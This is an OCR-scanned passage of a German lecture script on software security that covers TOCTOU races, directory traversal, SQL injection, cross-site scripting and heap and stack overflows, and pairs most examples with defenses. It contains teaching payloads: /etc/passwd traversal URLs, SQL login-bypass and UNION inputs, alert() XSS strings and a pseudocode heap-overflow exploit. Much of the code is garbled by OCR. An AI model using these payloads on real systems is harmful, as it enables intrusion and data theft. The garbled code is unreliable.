Privilegien tiberpriift werden. Um dies auszunutzen er-hoch(0) gesetzt. Dadurch steigt die Wahrscheinlichkeit
stellt man zuerst einen symlink, leitet diesen im Ersten das Race-Window zu treffen. Die Parallelitat sorgt daftr,
Race-Window auf eine Systemdatei um, um anschlieend dass die Umbiegung auf eine Systemdatei wahrend des
den symlink wieder auf die vorherige Datei zu setzen. Da-unsicheren Programms tiberhaupt moglich ist. Die Schleife
durch wird die Systemdatei geéffnet und die Privilegien ist notig, da es beliebig Lange dauern kann, bis man
einer anderen Datei abgefragt (hier anhand der Inode, also erfolgreich war. Eine allgemein erh6hte CPU-Auslastung
metadaten der Datei) . kann die Wahrscheinlichkeit das Race-Window zu treffen
zusatzlich erhéhen.

TOCTOU-Race Schwachstellen sind in der Regel schwer zu erkennen. Man kann sich davor schiitzen, indem man die
Ununterbrechbarkeit von System-Calls verwendet und die Privilegien gleichzeitig mit dem Offnen der Dateien priift
(Bietet Linux bisher nicht an). Eine weitere Moglichkeit ware ein Priviledge Drop, d.h. man gibt die Root Rechte ab,
wenn man sie nicht braucht und holt sie wieder, wenn man sie braucht. Die letzte Méglichkeit ware, den privilegierten
Code in einen anderen Prozess auszulagern.
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CODE WRITTEN IN HASKELL
15 GUARANTEED To HAVE
NO SIDE EFFECTS.

... BECAUSE NO ONE
WILL EVER RUN IT?

Al

https://xkcd.com/1312/

6.3 Code Injection-Angriffe

Bei Code Injection Angriffen wird die Usereingabe eines Systems nicht validiert. Das kann dazu fiithren, dass ein
Benutzer eigenen Code ausfiihren kann, ungewollt auf sensible Daten zugreifen kann oder anderes Fehlverhalten
provoziert. Besonders im Web-Security Kontext spielen derartige Angriffe eine wichtige Rolle.

6.3.1 Directory Traversal(=/etc/passwd)

In diesem Fall kann der Benutzer selbstgewahlte Verzeichnisse eingeben und damit in den Verzeichnissen eines
Webserver herumnavigieren. Besonders beliebt ist dabei den Link der Website so anzupassen, dass der Angreifer auf
die gewlinschten Daten navigiert und der Webserver diese ausgibt.

Beispiel 6.3. (Beispiel Dateistrukturen)

Der folgende Link greift auf eine Text-Datei auf dem Linux-Server zu und zeigt den Inhalt anschliefend auf der Website
an:

www.aoebuildorders.com/civs/filename=celts
Ist das System nun unsicher, kann mit folgendem Aufruf auf sensible Daten zugegriffen werden:

www.aoebuildorders.com/civs/filename=/etc/passwd

Dabei ist es nun auch wichtig zu wissen, dass die meisten Webserver Linux-Systeme sind. Interessante Angriffziele
dabei sind /etc/passwd, /etc/shadow, /etc/serverconfig, etc.

Schutz vor diesen Angriffen
Zum einen kann man die Privilegien des Servers nach dem Start so beschneiden, dass Root-Zugriffe nicht mehr
moglich sind. Zum anderen kann Zugriff auf tibergeordnete Verzeichnisse auch prinzipiell unterbunden werden.

6.3.2 SQL(-attack’ - - ) Injections

Die meisten Server verwenden zur Datenverwaltung Datenbanken, welche wiederrum meistens mit SQL-Anfragen
bearbeitet werden. Gibt es nun zusatzlich noch Userinput, welcher auf diese Datenbanken zugreift, so besteht die
Moglichkeit von SQL-Injections. Dabei gibt der Angreifer statt der erwarteten Daten eine Zeichenfolge ein, welche eine
ungewtinschte SQL Anfrage durchfiihrt.

Ein gutes Beispiel um das zu verstehen ist die Verwaltung und das Anmelden von Usern. Der Server speichert Name
und Passwort der User und ein User kann sich mit Hilfe der Eingabe von Name und Passwort anmelden. Wird der
Userinput hierbei nicht tiberpriift, so kann ein Angreifer bei der Eingabe die SQL-Angfrage die den Nutzer einloggt
derartig verandern, dass beispielsweise die Passwortabfrage nicht mehr durchgefiihrt wird. Damit hat der Angreifer
Zugriff auf alle User. Die folgenden Beispiele erkldren nun das genauere Vorgehen:

Beispiel 6.4. (Einfache SQLI)

Folgender PHP Code erhahlt zwei Usereingaben: Username und Passwort. Diese werden als Strings tibergeben und mit
der SQL Abfrage konkartiniert.
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/*x# Database layout

# CREATE TABLE IF NOT EXISTS ‘users‘ (

# ‘name‘ varchar (10) NOT NULL,

# ‘pass ' varchar (32) NOT NULL

# ) ENGINE=InnoDB DEFAULT CHARSET=latinl; =*/

$qgry = "SELECT name FROM users WHERE name='".$_POST["user"]."’AND pw='".$_POST["pw"]."’'";
Sres = mysql_query ($qry) ;

» UAs W N = O

-

Mit der Eingabe Name’ - - als username kann die Passwortabfrage umgangen werden. Mit > DROP TABLE costumers
- - wird die Tabelle geloscht.

Beispiel 6.5. (SQLI mit Verdnderung der Seite)

Ein Client bekommt 3 Anmeldeoptionen von einer Webseite gestellt und muss dazu das richtige Passwort angeben.
Das Passwort wird beim Server mit dem dazugehoérigen Hash verglichen. In der Website des Clients endeckte man
folgendes:

r

<select name="user">
<option value="user">user</option>
<option value="root">root</option>
</select>

w N = O

=

Der Server verarbeitet den Input der Webseite unter anderem mit folgendem PHP Code:

0 S$password = md5($_POST["pass"]);
1 $gry = "SELECT user FROM users WHERE user='"$_POST["user"];"’ AND pass='".$password."’";
2 Sres = mysqgl_qguery (Sres);

=

Hierbei ist nun eine SQL Injection moéglich, indem man den HTML-Request an den Server richtig anpasst. Dazu
geht man mit F12 in den Inspektor und &ndern < option value = “root” > root < /option > zu < option value =
“root’ — - > root < /option > um die Passwortabfrage zu umgehen.

Beispiel 6.6. (SQLI mit Injection)

Folgender PHP Code erhdhlt zwei Usereingaben: Username und Passwort. Diese werden als Strings tibergeben und mit

der SQL Abfrage konkartiniert. Der secret-Datensatz soll in diesem Kontext nicht von Nutzern angesprochen werden.
~

/*x # Database layout

# CREATE TABLE IF NOT EXISTS ‘users‘ (
# “usr' varchar (10) NOT NULL,

# ‘pwd' varchar (32) NOT NULL

# ) ENGINE=InnoDB DEFAULT CHARSET=latinl;

# CREATE TABLE ‘secret‘ (

# ‘flag' varchar (32) NOT NULL

# ) ENGINE=InnoDB DEFAULT CHARSET=latinl; =*/

$gry = "SELECT usr FROM usrs WHERE usr=’'".$_POST["usr"]."’ AND pwd=’".$_POST["pwd"]."'";
Srow = mysqgl_fetch_array (mysgl_query ($qry));

echo Srow([0];

© 00 N O U WD = O

=
o

-

Um trotzdem an secret zu gelangen, benétigt man die UNION-Operation von SQL. Gibt man also root’” AND pass =’
1’ union select * from secret — — ein, so wird beim echo ein Eintrag aus der secret Datenbank ausgegeben und ein
Angriff ist gegltickt.

Nun kann nicht erwartet werden, dass man immer visuellen Output erhélt. In diesem Fall kann man das System
dennoch so manipulieren, dass man Informationen erhalt. Beispielsweise kann man iterativ versuchen einen Wert zu
erraten und wenn dies Gluck, das System kurz warten lasst (sleep(42)) um festzustellen, dass man Erfolg hatte. Solche
Angriffe nennet man Blinde SQL-Injections.

Diese konnen fiir Angreifer hilfreich sein um die Tabellenstruktur einer Datenbank herauszufinden. Eine weitere
Methode ist, anhand von bewusst falschen Eingaben Fehlermeldungen zu erzeugen, aus denen man Informationen
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nimmt. Oder man guckt gleich in den Code, wenn dieser Open Source ist.

Vermeiden von S@L-Injections

e Userinput immer tiberpriifen
e Niemals mittels String-Konkatenation oder String Ersetzen ein SQL-Statement aufbauen
e Verwendung von Prepared SQL-Statements

HI, THIS 15 OH, DEPR - DD HE | DID Yo ReALLY WELL, WEVE LOST THIS

YOUR. SON' SCHOOL. | BREAKSOMETHING? | NAME YOUR SON YEAR'S STUDENT RECORDS,
VERE HAVING SOME | | o\ o0 Robert"); DROP T HOPE YOURE HAPPY.

COMPUTER TROUBLE. / TRBLE Sterts; - 7 f

R R AND T HOFE

J . ~OH, YES UTTLE “~ YOUVE LEARNED

| ROBRY TARLES, 70 SANTIZE YOUR

“ ! ﬁ WE CALL HIM. DATABASE INPUTS,

https://xkcd.com/327/

6.3.3 Cross Side <scripting>alert()</scripting>

Beim Cross Side Scripting (XSS) versucht ein Angreifer mittels einer Usereingabe Code auszufiihren. Die Grundidee
dabei ist, den Request an den Server derartig anzupassen, d.h. den HTML bzw. Websitencode so zu verandern, dass
der Server nicht vorhergesehene Operationen durchfiihrt. Um solche Sicherheitliicken herauszukristallisieren, wird
meistens versucht den Javascript Code alert() auszufihren.
Der Hintergrund von XSS ist die Umgehung der Same Origin Policy. Dies ist ein Sicherheitsmechanismus von
Webbrowser der festlegt, dass Wenn eine gewisse Seite (z.b. bank.de) Zugriff auf gewisse Resourcen hat (z.b. Cookies)
Auch dazugehorige Seiten mit gleichen Protokoll, gleicher Domain und gleichem Port Zugriff auf jene Resorucen haben.
Damit wird verhindert, dass Externe Seiten oder Programme oder Browser diese Resourcen verwenden. Existiert
nun eine XSS-Schwachstelle, so kann die Same-Origin-Policy umgangen werden, indem auf anhand der Seite mit
dazugehorigen Resourcen externer Code ausgefiihrt wird.
Cross Side Scripting kann nun in vier unterschiedliche Kategorien aufgeteilt werden:

e Server-Side: Angriffscode wird vom Server in die Webseite integriert

e Client-Side: Angriffscode wird vom Client in eine Webseite (den DOM) integriert

e Stored: Angriffscode ist dauerhaft gespeichert

o Reflected: Angriffscode ist nicht dauerhaft gespeichert
Die vier dazugehorigen Beispiele werden im folgenden dargelegt. Dem ganzen sei angemerkt, dass mit dem location.hash
auf mit # makierte Teile in der tiibergebenen URL zugegriffen werden kann:

Reflected Stored
s g
o # 0 <?php $res=mysql_query ("INSERT...".$_GET[
5 1 <?php "name’ 1) ;
E 2 echo "Hello ".$_GET[’name’]; 1 Sres=mysql_query ("SELECT...");
(B 3 7> 2 Srow=mysqgl_fetch_assoc ($Sres);
4 ¥ 3 echo S$Srow[’name’]; 2>
N\ B S
o 0 <script>
1 <script> 1 var tmp=location.hash.slice(1);
E 2 var tmp=location.hash.slice(1l); 2 localStorage.setItem("name", tmp) ;
g 3 document .write ("Hello" + tmp) 3 var mes=localStorage.getItem("name");
© 4 </script> 4 document .write (mes) ;
5 # 5 </script>
N\ S

Dies kann nun folgendermafen visualisiert werden:
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Server Side Stored XSS Server Side Reflected XSS Client Side Reflected XSS
Vulnerable Vulnerable Vulnerable
Application Application Application

)
& 2\
55 2\%
Q
.\'.

2: vulnerable Link 1: Link with XSS

4: Sensitive Data

1: Link with XSS
Attacker &

4: Sensitive Data

Attacker ¥

3 Victim | [Attacker

5: Sensitive Data

Das grof3e Problem bei Server-Side Stored XSS ist, dass jeder benutzer angegriffen wird. Bei Client-Side Stored XSS
wird nur ein Nutzer angegriffen. Die Reflected Angriffe via Server oder Client sind gezielte Angriffe mit einem Ziel und
Opfer. Die moglichen Gefahren fiir die Opfer sind dann folgende:

e Cookie-Stealing

e Beliebiges Andern der Website

e Angreifer kann im Namen der Website agieren
Cookie Stealing kénnte nun mittels HTTP-Only Cookies verhindert werden, was aber nicht die XSS-Schwachstelle
16st, sondern nur eines der méglichen Symptome. Man sollte also am besten die XSS-Schwachstellen erkennen und
komplett verhindern. Um diese nun zu erkennen, gibt es im folgenden ein paar Beispiele:

Beispiel 6.7. (XSS-Trivial)

Gegeben sei eine Internet Seite, welche in einem Eingabefeld einen Userinput entgegen nimmt und damit dann
folgenden Code durchftihrt:

o 1f (S$Spar){
1 echo "Hello <b>$par</b>";
2}

Gibt man in diesem Userfeld nun < /b > ”; < script > alert(); < /script > ein, so wird der eigene Javascript Code
Ausgefuhrt und die Existenz eines XSS Schwachstelle bewiesen.

Beispiel 6.8. (XSS mit img-tag und html Entities)

Gegeben sei eine Internet Seite, welche in einem Eingabefeld einen Userinput entgegen nimmt und damit dann
folgenden Code durchfiihrt:

1 echo "<imc
2}

o 1f ($par) {
g src="".htmlentities ($par)."’ >";

Dazu muss man wissen, dass das img-tag eine Error-Funktionalitat besitzt. Diese fiihrt bei einer fehlerhaften src-
Eingabe zum Ausfiihren des im Error definierten Javascript Codes. Folglich kann mit der Eingabe ” 'onerror = ” alert()”
eigener Javascript Code ausgefiihrt werden.

Die htmlentities() PHP Funktion wandelt die tibergebenen Userdaten in HTML-Codierung um und kann somit Zeichen
wie < daran hindern als Codebaustein interpretiert zu werden, da dies intern zu &#60; umgeformt wird und nur
beim Anzeigen wieder zu < umgewandelt wird. In dem Beispiel ist dies aber nicht relevant, da die Spezifizierung der
Funktion Apostrophe nicht decodiert und diese somit als Codebaustein bestehen bleiben. Man kénnte die Funktion
nun auch soweit anpassen, dass auch Apostrophe decodiert werden, wodurch der obrige Angriff nicht mehr moglich
ware.

Beispiel 6.9. (Nutze die Inspektionsmdoglichkeit F12)

Gegeben sei eine Internet Seite, welche in einem Eingabefeld einen Userinput entgegen nimmt und damit dann
folgenden Code durchfiihrt:

0 <script>

1 el = document.getElementById("bingo");

2 wval = "<?php if ($par) { echo $par; } ?>";

3 1f (val.length > 0) { el.innerHTML = "String is " 4+ val.length + " chars long"; }
4 </script>
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Hierbei ist es nun interessant zu beobachten, was der Server als Antwort zurtickgibt. Mit F12 kann man dies einsehen
und erkennt bei der Eingabe xyz folgendes:

0 <script>

1 el = document.getElementById("bingo");

2 val = "xyz";

3 i1f (val.length > 0) { el.innerHTML = "String is " + val.length + " chars long"; }
4 </script>

Das ganze Skript ist beim Response in einer Zeile und wird hier nur zur Ubersicht besser dargestellt. Nun kann man
erstmal versuchen ”; alert(); einzugeben und erhalt damit val = val =; alert()”; was kein valides Javascript ist. Daher
kann man ”; alert(); // eingeben und die Angreifbarkeit wurde bewiesen.

Beispiel 6.10. (Externer Code und Eval-Funktion)

Gegeben sei eine Internet Seite, welche in einem Eingabefeld einen Userinput entgegen nimmt und damit dann folgende
Codes durchfiihrt:

0 # Userinput wird an Website geschickt, welche dies folgendermassen zurueckgibt:
1 print "{’response’:’S$par’}";

2 # Mit resp wird in der Origalwebsite folgendermassen darauf zugegriffen:

3 eval("val = " + resp + ";");

4 el = document.getElementById("bingo");

5 el.innerHTML = "You have entered " + val.response.length + " characters";

Gibt es nun mehrere Websiten, welche miteinander kommunizieren, so kann man unter F12 anhand der Netzwerkana-
lyse den Datenverkehr zwischen den beiden Websiten einsehen. Man erkennt in dem Beispiel, dass die zweite Website
mit der Anfrage xyz ein Dictionary {'response’ ;" xyz'} an die Orginalseite zurtickgibt. Mithilfe der Eval-Funktion kann
man einen String als Javascript Code interpretieren. Damit kann man nun erkennen, dass man die Webseite mit
’}; alert(); // angreifen kann.

Es gibt nun eine Variante um XSS-Schwachstellen zu verhindern: Content Security Policy. Dabei wird im HTTP-Header
dem Client mitgeteilt, was erlaubt ist und was nicht. Da sich dies aber in der Praxis beim Programmieren als kompliziert
und fehleranfillig erwies, ist diese Variante unpraktisch und unbeliebt.

Abschlieiend stellt sich die Frage, ob man XSS-Angriffe nicht automatisch abfangen kann. Einige Browser wie Chrome
versuchen dies, es ist aber ziemlich kompliziert. Aus dem Datenfluss von Websiten muss namlich in den meisten
Fallen erraten werden, ob es sich um einen XSS-Angriff handelt, oder ob es von der Website gewollter Code ist. Daher
ist automatisches Abfangen meistens unpraktisch. Es gibt aber weitere Moglichkeiten, um sich vor solchen Angriffen
zu schiitzen:

Vermeidung von XSS-Schwachstellen

e Input Validation durch Blacklisting: Userinput mit bésartigen Zeichen unterbinden. Problem: Vergessen von
Zeichen

e Input Validation durch Whitelisting: Userinput nur mit bestimmten Zeichen erlauben. Problem: Unterschiedli-
che Darstellung eines Zeichens, z.b. HTML-Code von < kann &#60 oder &nvlt; sein

e Output Encoding: Abhdngig vom Kontext die richtige Codierung der Zeichen interpretieren

e Keine Skriptsprachen erlauben. Problem: Starke Einschrankung der Funktionalitit vieler Internetseiten

6.4 Overflows

Fur Heap- und Stackoverflows kann es nutzlich sein, noch einmal zu betrachten, wie Adressen intern verarbeitet
werden und wie die Speicherbereiche aussehen:
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Program File as
ELF-File

int x;

inty =42;

foo() {

int z;

malloc(...);
static int b;

static int a=73;

}

Virtueller Adressraum

Kernel

Oxfif...f

77777777777
77077777777
17777777777
s

Kernel Space

Stack l

Non present Side

Heap T
User Space
.bss
.data
text
0x000...0

Kernel Space Adressen beginnen mit OxfIff und User Space Adressen beginnen mit 0x0000. Um nun den Heap zu
analysieren eignet sich der gdb Debugger an. Eine kurze Einflihrung:
e Starten: gdb <Programmname>

Breakpoint: b <Funktionsname>
Programm Starten: run

Nach Breakpoint weiterlaufen lassen: c
Assembler Code anzeigen: disas <Funktionsname>
Funktionsadresse auslesen: p <Funktionsname>
Variablen auslesen: p & <Variablenname>
Speicher ab Variable: x/<Lange>xb & <Variablenname>
Debugger beenden: quit

6.4.1 Integer -Overflows

Sind die Ganzzahlen einer Programmiersprache in ihrer Grofie begrenz, wie es bei nativem C oder Java (auch
wenn es anders propagiert wird) der Fall ist, so kénnen Integer Overflows entstehen. Bei Sprachen mit nativer
Langzahlarithmetik, wie z.b. Python, ist dies nicht der Fall. Ein Overflow tritt auf wenn der Wertebereich einer Variable
Uberschritten wird. Daher werden die wichtigstens Ganzahl-Typen von C vorgestellt:

Typ Speichergrofe | Kleinster Wert | Grofiter Wert
char 1 byte -128 127
unsigned char 1 byte 0] 255
int 2 byte -32768 32767
unsigned int 2 byte 0] 65535
short 2 byte -32768 32767
unsigned short 2 byte 0] 65535
long 4 byte -2147483648 2147483647
unsigned long 4 byte 0 4,294,967,295

In C kann zusétzlich noch, mit der Bibliothek stdint.h, der Integer Wertebereich (Integer Typen) selbst gewahlt werden
mit int8_t, intl6_t, int32_t, int64_t, und unsigned mit uint8_t, etc. Diese haben dann folgende Wertebereiche:

Bitlange | Unsigned Min Unsigned Max Signed Min Signed Max
8 Bit 0 28 -1 =255 —27 =-128 27" —1=127
16 Bit 0 216 _ 1 =65535 —215 = _32768 215 _ 1 = 32767
32 Bit 0 4294967295 -2147483648 2147483647
64 Bit 0 18446744073709551615 | -9223372036854775808 | 9223372036854775807

Nattirlich kénnen Integer Overflows bei erstellen oder verandern einer Variable entstehen, wenn der Wertebereich
uberschritten wird. Etwas komplizierter zu erkennen ist, wenn soetwas in komplexerer Programmlogik vorkommt. Hier
ein paar Beispiele:
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e Typkonvertierung: Beim Downcast werdn die more significant bits abgeschnitten. Dadurch entsteht Infor-
mationsverlust und ein Integer Overflow kann entstehen. Beim Typkonvertieren von signed zu unsigned und
andersrum wird das Bitmuster beiehalten und einfach die Interpretation verandert

e Arithmetische Operationen: Die Wertebereiche von Addition und Multiplikation kénnen einen Uberlauf erzeu-
gen. Auch beim Modulo-Rechnen kann ein Uberlauf passieren, da bei unterschiedlichen Typen eine Typkonver-
tierung durchgefihrt wird, was besonders bei signed und unsigned problematisch sein kann

e Vergleiche: Ist ein Integer Overflow enstanden, so kann damit eine if-Abfrage mit Vergleich falschen Code
ausfuhren. Daher eignet es sich an, die if-Abfage so prazise wie moglich zu definieren, oder unsigned integer zu
verweden, falls negative Zahlen eh nicht benétigt werden

Man kann sich af zwei Arten davor schiitzen: Zum einen muss man bei wichtigen Berechnungen wie z.b. Indizes
und Puffergréfien aufpassen, dass diese keine tibergelaufenen Werte verwenden. Zum anderen sollte man, wie bei
SQL-Injektions auch, den Userinput tiberpriifen und kritische Eingabenverbieten.

| [P I «:),306... 1,307... L 3767..,-32,%68.. | -32,767... -32,766 ...

LAA_ A~ A 2

= Bl =

https://xkcd.com/571/

BARA BAMA

6.4.2 Heap<Over—flow—s\x00..

Den Heap kann man sich als doppelt verkette Liste aus freien Speicherjunks vorstellen mit aufeinanderfolgenden
Speicheradressen fur die einzelnen Speicherblécke. Dieser wird verwendet, wenn Programme zur Laufzeit Speicher
bendétigen. Der Speicher wird dabei mit Funktionen wie calloc, malloc, etc. allokiert. Hat man nun eine Sprache
mit schwache Typisierung (wie bei C oder C++) die nicht die Grenzen des Speicherbereiches tiberpriifen, kann
es zu einem Heap Overflow kommen. Dabei wird in einen Speicherbereich eine Datenmenge geschrieben, die zu
grof3 daftir ist. Dadurch wird automatisch der darauffolgende Datenblock tiberschrieben. Ist der darauffolgende
Datenblock beispielsweise ein Funktionadresse die im Laufe des Programms angesprungen wird, so kann man die
Adresse tiberschreiben und das Programm eine andere Funktion anspringen lassen. Weitere kritische Daten kénnen
Passworter, Adminlogins, Kontrollfluss bestimmende Variablen, Dateinamen, etc. sein. Im folgenden Beispiel wird dies
verdeutlicht:

Beispiel 6.11. (Heap-Overflow ausnutzen)

Gegeben sei folgendes Progamm heap.c, welches einen Namen als Commandline Parameter erhélt:
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(0 #include <some stuff> )
1 typedef struct creds creds_t; (O # Pseudocode Exploit # h
2 typedef struct creds { 1 main():
3 char name([l6]; 2 if len(sys.argv<3):
4 bool root; 3 print ('Usage: ./exploit
5 void (xwelcome) (void); 4 vulnfile + adress’)
6 } creds_t; 5 exit ()
7 static creds_t =xcreds; 6 addr = argv[2]
8 static void login(void); 7 tmp = /7
9 static void s3cr3t (void); 3 4 add \ x to adress
10 9 # and revers to little endian
11 int main(int arge, char xxargv) { 10 for 1 in range(len(addr), -1,2):
12 creds = (creds_t *)calloc(l, sizeof(creds_t)); 1 tmp 4= 7\ x/
13 if (!creds) {perror("calloc");return —-1;} 12 tmp += addr[i-]
14 creds->welcome = login; 13 tmp += addr[i]
15 creds—->root = false; 14 par = ’a’ % 24 + tmp
16 strcpy (creds—>name, argvl[l]); 15 output = system.execute (
17 creds—>welcome () ; 16 ©./" 4 argv[l] + par)
18 free(creds); 17 print (output)
19 return 0; N\ J
20} Stark vereinfachter Exploit. Interessanter kénn-
21 . _ . . te es sein zusatzlich noch die Adresse der secret
22 static YOld loglanOld) Goon - Methode automatisch auszulesen. Im Falle oh-
zi pr(l(jiiésf;;oloz)? i wi‘);;ﬁm;io({) ), e ne randomisierte Adressen ist dies einfacher,
25 ) ’ mit randomisierten Adressen kann dies sehr
26 static void s3cr3t(void){...} anspruchsvoll werden.
L Y,

Startet man dieses Programm nun mit ’./heap aaaaaaaaaaaaaaaaa’, also mit 17 As, so erhilt man Root-Privilegien,
indem man einen Heap-Overflow ausnutzt. Gibt man nun 24 As ein, so stlirzt das Programm ab, da man mit den 24
Eintragen das name(16 zeichen) und bool(8 zeichen) flihlt und zudem die string-copy-Funktion noch ein Null-Byte
anhéngt. Dadurch hat man einen Uberlauf in den welcome pointer, welcher somit ungiiltig wird.

Um nun den Kontrollflufy dieses Programms umzuleiten muss zunachst zur Vereinfachung die Randomisierung
von Adressen ausgeschalten werden. Danach muss man die Adresse von s3cr3t herausfinden, also z.b. s3cr3t =
0x5555555553b1 (Das kann man mit dem Debugger gdb machen). Anschliefend kann man diese Adresse in Little
Endian Schreibweise (also indem Fall andersherum, da Prozessoren meist Little Endian verwenden, die Adressen aber
in Big Endian ausgegeben werde) das struct so verandern, dass der welcome-pointer auf secret zeigt und somit mit der
Eingabe ./heap (a*24)+’\ xb1\ x53\ x55\ x55\ x55\ x55’ secret ausgefiihrt wird.

Dieses Programm kann nun einfach sicherer gemacht werden, indem man beispielsweise die Gréf3e des Userinputs
uberprift. Trivial geht dies mit if-Abfagen. Eine bessere Variante ist ’snprintf()’, welches einen Buffer nur mit einer
definierten Input-Gréfie beschreibt und bei unzulassigen Grofien abbricht.

Besonders Hilfreich fiir Heap Overflows ist der gdb Debugger. Mit diesem kénnen Adressen im Heap ermittelt werden,
mit denen man wiederrum anschliefend den Heap tiberlaufen lassen kann.

Schiitzen kann man sich vor solchen Angriffen, wenn man eine Sprache mit starker Typisierung verwendet, oder den
Userinput richtig und gut abfangt und analysiert. Insbesonders sollte man mit der Kombination von ’strcpy()’ und
Userinput sehr vorsichtig sein. Es kann bessere Funktionalitaten, wie z.b. ’snprintf()’ geben:

snprintf(char *str, size_t size, const char *format, ...);

Der erste Parameter ist der Zielbuffer. Der zweite Parameter die Gréf3e mit der geschrieben werden soll, der dritte
und vierte was geschrieben wird. Man sollte als zweiten Parameter immer die Pufferlange als Eingabe verwenden, da
ansonsten leicht Fehler passieren kdénnen.

6.4.3 Heap und Integer Overflow Kombination

Beispiel 6.12.

In den folgenden beiden Beispielen miissen Heap Overflows und Integer Overflows kombiniert werden:
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ro #include <some stuff> 0 #inc}ude <some stuff> )
1 typedef struct creds creds_t; 1 #define BUF_SIZE 128
2 typedef struct creds { 2 typedef struct creds creds_t;
3 char name[16]; 3 typedef struct creds {. .
4 void (swelcome) (void); 4 char str[BUF_SIZE];void (xwelcome) (void);
5 } creds_t; 5 } Cr§ds_t;
6 static creds_t =creds; 6 stat}c crgds_t xcreds; )
7 static void login (void); 7 stat}c VO}d copy(cha? *s,int32_t lenl);
8 static void s3cr3t (void); 8 static void print(void);
9 9 static void s3cr3t(void);

10 int main(int argc, char **argv) {

—
o

int main(int argc, char xxargv) {

11 int32_t size = atoi(argv[2]); 1 éhar *endptr; eFrno = 0;
12 Uintlé t s = size; 12 int32_t len = (int32_t)strtol(argv([2], &
13 creds = (creds_t *) calloc(l, sizeof( ‘ endptr, 10);
creds_t)); 13 if (errno || xendptr) {ex1t(—1)f}
14 if (lereds) {return —1;} 14 creds = (creds_t *) calloc(l, sizeof(
15 if (s >= sizeof (creds—->name)) {return -1;} creds_t));
15 if (!creds) {return -1;}

16 creds->welcome = login;
17 snprintf (creds->name, size, "%s",argv([1]);
18 creds—>welcome () ;

16 creds—>welcome = print;
17 copy (argv[l], len); creds—>welcome();

19 free (creds); return 0; 18 }free(creds);return 0;
19
20 } . . . ,
21 static void login(void){...} 20 static void copy(char *s, int32_t len) {

21 if (len >= BUF_SIZE) {exit(-1);}

22 static void s3cr3t(void){...}
22 snprintf (creds—->str, len+l, "%s", s);

Der Heap Overflow kann mit 16+ As erzeugt werden. Der | 23 }
Integer Overflow kann nun fiir ’snprintf()’ verwendet wer-(2* -+ P70t () e b v s3er3t () {en 0 )
den, da hier size angegeben ist. Dies wird anfangs ein-
fach tbergeben. Gepruft wird aber auf den Typkonver-
tierten unsinged int s. Somit kann man als Eingabelange
2'6 mitgeben. Ein Angriff sieht dann so aus: ’./program
aaaaaaaaaaaaaaaa<s3cr3t adress> 2'¢’. Verbessern liefe
sich das ganze, wenn man snprintf mit der buffersize von
creds als zweites Argument verwenden wiird.

Das Problem hierbei wieder die snprintf-Funktion. Diese
nimmt len+1 entgegen und vergrofiert dies durch explizite
Typkonvertierung zu einem unsigned 64 Bit Integer. Der
Integer Overflow kann also mit einer negativen Zahl er-
zeugt werden. Fiir den Heap Overflow werden diesmal 128
Buchstaben benétigt. Geldst werden kann das wie immer
bei ’snprintf()’.

6.4.4 Stack %RSP—Overflow()

Stack Overflows sind sehr dhnlich zu Heap Overflows. Die Besonderheit beim Stack ist, dass Adressen andersherum
vergeben werden und lokale Variablen enthalten sind (auch Funktionsparameter liegen, in umgekehrter Reihenfolge,
auf dem Stack, meist in dem Stackframe der Aufrufenden Funktion). D.h. man kann innerhalb einer Funktion
vorangehende Variablen tiberschreiben, wenn es eine Stack Overflow Sicherheitsliicke gibt.

Beispiel 6.13. (Einfaches Stack Overflow Beispiel)

0 #include <stuff>

1 int main(int argc, char x*xargv) {

2 char password[] = "Super Secret Passwd";

3 char buf[sizeof (password)];

4 printf ("Passwort: "); scanf("%["\n]s", buf);

5 if (!strncmp (password, buf, sizeof (password))) { printf ("Access granted!\n"); }
6 else { printf ("Access denied!\n"); }

7 return 0;}

Die beiden Puffer sind nun 20 Byte grof: Passwort und zusétzliches Nullbyte \0. Nun muss man wissen, dass GCC
(Compiler) ein 16 Byte Alignment verwendet, d.h. die allokierten Datenblécke sind durch 16 teilbar und werden
dementsprechend gepadded. Da nun der Stack Adressen von hohen Adressen zu niedrigen Adressen vergibt, kann
man mit buf das passwort-array tiberschreiben. Dazu braucht man also als passwort eingabe 32 As um buf zu fiillen
und anschliefend 20 As um passwort zu tiberschreiben. Gibt man also 52 As ein, so konnte man den Stack Overflow
ausnutzen. Das Programm koénnte man patchen indem man dem ’scanf()’ zusatzlich noch sagt, wie viele Zeichen es
maximal lesen darf. Eine nicht so elegante Methode wére es buf vor passwort zu initialisieren.
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Um mit Ricksprungadressen beim Stack arbeiten zu kénnen muss man zuerst betrachten, wie der Stack genau
aufgebaut ist. Jede Funktion bekommt ihren eigenen Stackframe, der aus weiteren kleinen Bausteinen besteht. Im
folgenden Beispiel wird der Stack am Ende von foo virualisiert:
-

-
0o int foo(int a, int b, char =*c) {
1 res = a + b;
2 return res;
3
,}f ) L Stack bei 32 Bit Architektur:
4 int main(int argc, char =*xargv) {
5 char spam[8] = "ABCDEFG";
6 int x = 42; argv
7 foo (42, 1337, argv); arge
8 return 0; RIP
9 } SFP
> - - - 7 /O|G[F|E
Stack bei 64 Bit Architektur: DIlC | B A
X =42
Return Instruction Pointer RIP argv
Stack Frame Pointer SFP 1337
/0 G F E main 42
D C B A RIP
SFP
X=42 res
Return Instruction Pointer RIP
% RBP— Stack Frame Pointer SFP foo
res = 42 + 1337
% RSP

Stackframe: Wird eine Funktion foo aufgerufen, so wird zuerst der RIP auf den Stack gespushed, damit das Programm
nach Abarbeitung der Funktion wieder in die urspringliche Funktion zurtickspringen kann. Zudem enthélt der
Stackframe einen Stack Frame Pointer SFP, welcher auf den Stack Frame der urspriinglichen Funktion zeigt. Mit dem
SFP kann man effizient die Daten innerhalb der Stack Frames ansprechen(nicht nur der aktuellen, sondern auch
vorheriger). Danach Register: Das %RSP ist ein Hardware Register mit einem Stack Pointer. Dieser zeigt immer auf
den zuletzt beschriebenen Datensatz auf dem Stack. Das%RBP ist ein weiteres Hardware Register, welches immer auf
den zuletzt auf den Stack geschriebenen SFP zeigt. Ablauf: Der StackFrame wird beim Ablauf eines Methode erzeugt
und am Ende einer Methode wieder in Ganze geléscht/vom Stack genommen. Unterschiede bei 32 bit: Die 32 Bit
Version von %RSP ist %ESP und von %RBP ist %EBP. Die Funktionalitét ist gleich, nur dndert sich die Gréf3e. Bei
64 bit werden die (ersten 6 Parameter) tiber Register weitergegeben. Bei 32 bit werden die Parameter einer Funktion
nocheinmal vor dem Stackframe der Funktion in umgekehrter Reihenfolge auf den Stack gepusht und nach Ende der
Funktion wieder vom Stack entfernt. Ubrigens werden bei 64 bit alle Parameter > 6 wie auch bei 32 bit anhand des
Stacks mitgegeben.

